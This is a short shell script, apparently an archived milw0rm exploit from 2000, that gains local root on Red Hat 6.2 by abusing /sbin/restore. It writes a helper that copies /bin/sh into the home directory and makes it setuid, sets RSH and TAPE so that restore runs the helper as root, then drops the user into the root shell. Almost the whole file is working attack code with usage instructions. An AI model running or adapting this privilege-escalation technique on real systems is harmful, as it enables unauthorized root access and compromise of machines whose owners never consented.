#!/bin/sh
#
# /sbin/restore exploit for rh6.2
#
# I did not find this weakness my self, all i did was
# writing this script (and some more) to make it
# automatic and easy to use.
#
# This exploit should work on all redhat 6.2 systems
# with /sbin/restore not "fucked up". May work on other
# distros too, but only tested successfully on rh6.2.
#
# Make sure that the $USER variable is set! If you aren't
# sure, do a SET USER=<your-login-name> before you start
# the exploit!
#
# Please do NOT remove this header from the file.
#
echo "###########################################"
echo "# /sbin/restore exploit for rh6.2 #"
echo "# this file by nawok '00 #"
echo "###########################################"
echo " "
echo "==> EXPLOIT STARTED, Wait..."
echo "#!/bin/sh" >> /home/$USER/execfile
echo "cp /bin/sh /home/$USER/sh" >> /home/$USER/execfile
echo "chmod 4755 /home/$USER/sh" >> /home/$USER/execfile
chmod 755 /home/$USER/execfile
export TAPE=restorer:restorer
export RSH=/home/$USER/execfile
touch /tmp/1
/sbin/restore -t /tmp/1
rm -f /home/$USER/execfile
echo "==> DONE! If everything went OK we will now enter rootshell..."
echo "==> To check if its rooted, type 'whoami', or 'id'"
echo "==> B-Bye, you are on your own now."
/home/$USER/sh
# milw0rm.com [2000-11-16]
